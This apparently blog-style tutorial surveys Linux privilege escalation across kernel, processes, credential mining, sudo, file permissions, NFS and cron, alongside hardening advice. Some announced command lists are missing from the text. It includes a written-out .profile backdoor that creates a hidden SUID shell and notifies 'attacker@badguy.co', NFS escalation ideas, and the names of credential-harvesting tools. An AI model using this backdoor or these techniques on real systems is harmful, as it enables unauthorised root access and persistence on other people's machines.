Summary

• I. Introduction
• II. Tools to help doing privilege escalation
• III. Kernel
  • 1. Kernel privilege escalation overview
  • 2. Kernel information gathering
• IV. Process
  • 1. Process privilege escalation overview
  • 2. Process information gathering
• V. Mining credentials information
  • 1. Mining sensitive information to gain a privilege escalation
  • 2. Useful commands to mine credentials
  • 3. Useful tools to mine credentials
• VI. Sudo
  • 1. Sudo overview
  • 2. Sudo information gathering
  • 3. Example of sudo abuse to escalate your privileges
• VII. File permission
  • 1. File permission overview
  • 2. File permission information gathering
• VIII. Network File System
  • 1. NFS overview
  • 2. NFS information gathering
  • 3. Few ideas to realize a NFS privilege escalation
• IX. Cron
  • 1. Cron privilege escalation overview
  • 2. Cron information gathering
• X. Other useful information that can be gathered

I. Introduction

When an attacker succeeds to establish the initial foothold (gain access to a user with restricted privileges), he will seek for a way to increase his privileges (Gain access to another user with more privileges). We call this action a privilege escalation. It can happen in all sorts of applications or systems.

This article will give an overview of the basic Linux privilege escalation techniques. It separates the local Linux privilege escalation in different scopes: kernel, process, mining credentials, sudo, cron, NFS, and file permission. For each, it will give a quick overview, some good practices, some information gathering commands, and an explanation the technique an attacker can use to realize a privilege escalation. Do not hesitate to share with us your techniques in the comments.

II. Tools to help doing privilege escalation

There is planty of tools which can help doing privilege escalation. These ones are my favorite:

• linux-smart-enumeration
• linuxprivchecker.py
• unix-privesc-check

III. Kernel

1. Kernel privilege escalation overview

A kernel privilege escalation is done with a kernel exploit, and generally give the root access.

There is no way to completely avoid a kernel privilege escalation. But some good practices are good to know. The first one is to always be aware about security reports and keeping your system up to date.

For a kernel privilege escalation the attacker will use a kernel exploit. In order to do so, he will need three conditions:

1. A working exploit
2. The ability to transfer the exploit onto the target
3. The ability to execute the exploit on the target

We are never protected against a kernel vulnerability. So even if you or your company are aware about IT security and are following the CVS publication, you cannot be sure that your system is one hundred percent secured.

For this reason you must influence the last two points. A good practice will be to focus on restricting or removing programs that enable file transfers, such as FTP, SCP, wget, curl or any programs which can permit to realize file transfers. If you need these programs, restrict them to specific users, or IP/domains, the more they will be restricted and the better it will be.

It is also a good practice to remove or restrict the access of all the compilers such as gcc.

Another good practice is to limit directories that are writable or executable, particularly by service dedicated users (such as www-data for Apache).

Finally, it is really important to externalize logs in another machine.

Center for Internet Security (CIS) are providing benchmarks about the best security practices to follow.

2. Kernel information gathering

Some basic command to collect some clues to realize a Linux kernel exploitation

IV. Process

1. Process privilege escalation overview

Most of the time an attacker succeeds to establish the initial foothold by using a misconfigured or vulnerable running service, but it does not stop there. An attacker can use a process which is only accessible locally for doing privilege escalation. For example, a vulnerable MySQL database running as root.

Commonly the method attack will be similar to kernel privilege escalation. The attacker will use an exploit, and for that he will need the three conditions we see above. Also all the good practice explained in the kernel section can be transposed for the running processes.

A good practice for all your sensitive services (a service which can be accessed from the outside is definitely sensitive) is to run them into a chroot jail, at least creating a dedicated user. Never run them as root.

2. Process information gathering

Some basic command to collect some clues to realize a privilege escalation by passing through a vulnerable process exploitation.

V. Mining credentials information

1. Mining sensitive information to gain a privilege escalation

On a server (it is much more true for a personal computer) you can find many different sensitive information like login, password, private and public keys, certificates… This information can be found and used to access another machine, application or to realize a privilege escalation.

To prevent this kind of leak, you should take care of the access permission of the sensitive directories and files. For example the directory /home/<user>/.ssh can normally only be read and write by the owner user (chmod 600) or the /etc/shadow file which is normally in read write for the root user and in read for the root group (chomd 640).

It is also really important to never put any credentials in any code or configuration file. If for any reason, you have to do it, be sure the password is not in clear and the script or config file has specific permission that only allow authorized users to read/write it.

2. Useful commands to mine credentials

Here some few commands which can be useful for finding credentials on a Linux system.

3. Useful tools to mine credentials

Here are a few tools that can be helpful for your process.

• Pupy
• LaZagne
• gimmecredz

VI. Sudo

1. Sudo overview

The sudo command makes it possible for a user to execute a command as another user (usually the root account). A misconfiguration of the sudo command can easily lead to a privilege escalation.

Here are few good practices about sudo configuration:

Do not allow some commands that can permit to execute some code like vi, find, bash, awk, perl …

Never configure sudo like that user ALL=NOPASSWD:ALL.

Grant the minimum privileges to perform necessary tasks or operations, be as specific as you can. For example if you want to allow a user to listen on a specific interface (eth0) with tcpdump. You should configure sudo as follow user ALL= (root) NOPASSWD: /usr/sbin/tcpdump -ttteni eth0. This configuration will permit to user to execute this exact command /usr/sbin/tcpdump -ttteni eth0 as root. He will have to use this exact options in the same order or it will not work. But for this specific example it’s still not the best solution, tcpdump cannot be used like that! The user you allow will need to have access to more options. So a good method to work with tcpdump as non root user is to not used sudo and to follow this few steps:

1. create a group groupadd pcap
2. add the user you want allow in this group usermod -a -G pcap user
3. modify the group ownership and permission of the tcpdump binary chgrp pcap /usr/sbin/tcpdump and chmod 750 /usr/sbin/tcpdump
4. set the CAP_NET_RAW and CAP_NET_ADMIN capabilities on the tcpdump binary to allow it to run without root access setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
5. optionally, symlink the tcpdump binary to a directory that is in the path for a normal user ln -s /usr/sbin/tcpdump /usr/local/bin/tcpdump

2. Sudo information gathering

Here is the command you need to get some clues about the possibilities you have to realize a privilege escalation using sudo.

3. Example of sudo abuse to escalate your privileges

Here are examples of commands an attacker can use to escalate his privileges.

* I have found most of those commands on the blog Le journal d’un reverser

VII. File permission

1. File permission overview

There are a few possibilities to realize a privilege escalation with misconfigured file permission.

First, if you let the read access of a sensitive file like a private key, or a script running as daemon or in the cron.

SUID (Set User ID) or SGID (Set Group ID) files must be avoided as much as possible. They are needed for tasks that require higher privileges than those which common users have, such as passwd command.

ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 47032 May 16  2017 /usr/bin/passwd

An attacker can also set up some traps. He can add to the .profile some code like this one: cp /bin/bash /tmp/.hiddenShell && chmod 4777 /tmp/.hiddenShell && mail –s "Shell done" attacker@badguy.co. This will create a hidden shell /tmp/.hiddenShell with the SUID activate and full permissions for all users, finally it will send an email to the attacker. There are plenty of different traps that can be done, the imagination is the only limit.

2. File permission information gathering

Some basic commands to collect some clues to realize a privilege escalation abusing file permission.

VIII. Network File System

1. NFS overview

“The Network File System (NFS) is a distributed filesystem that allows users to mount remote filesystems as if they were local. NFS uses a client-server model, in which a server exports directories to be shared, and clients mount the directories to access the files in them. NFS eliminates the need to keep copies of files on several machines by letting the clients all share a single copy of a file on the server.”

This definition come from the book : Linux in a Nutshell, 3rd Edition By Ellen Siever, Stephen Spainhour, Stephen Figgins and Jessica P. Hekman.

When this service is running on our server we must be very careful and follow some good practices.

We must never configure a file system with no_root_squash which will mean that we allow the remote user to write in the server file system as root.

We should specify on /etc/hosts.allow the allowed users for our NFS.

Sometimes using NFS can be replaced by a sshfs.

2. NFS information gathering

3. Few ideas to realize a NFS privilege escalation

There are plenty of possibilities to realize a privilege escalation on a NFS, like:

• create a file giving a shell with the SUID permission.
• create or modify the file ~/.ssh/authorized_keys with your public key.
• set the SUID permission to a handmade script, or a binary (/bin/sh, /usr/bin/vi) which will permit to get a shell console.
• modify the /etc/shadow and the /etc/passwd to create a new user or to change the password of one already existing.
• modify the sudo configuration file

IX. Cron

1. Cron privilege escalation overview

The cron daemon schedules commands to be run at specified dates and times. It runs commands with specific users. So we can try to abuse it to realize a privilege escalation.

A good way to abuse the cron, is to check the file permissions of the scripts it runs. If the permissions are not well set, an attacker can possibly overwrite the file and easily get the privileges of the user set in the cron.

Another way is to use the wildcard tricks which are well explained in this article Unix Wildcards Gone Wild

Always use the full path for each command and script you run.

Do not use the root user to set commands un the cron.

2. Cron information gathering

Some basic commands to collect some clues to realize a privilege escalation using a misconfigured cron.

X. Other useful information that can be gathered

Those commands are really useful to collect some clues to realize a privilege escalation.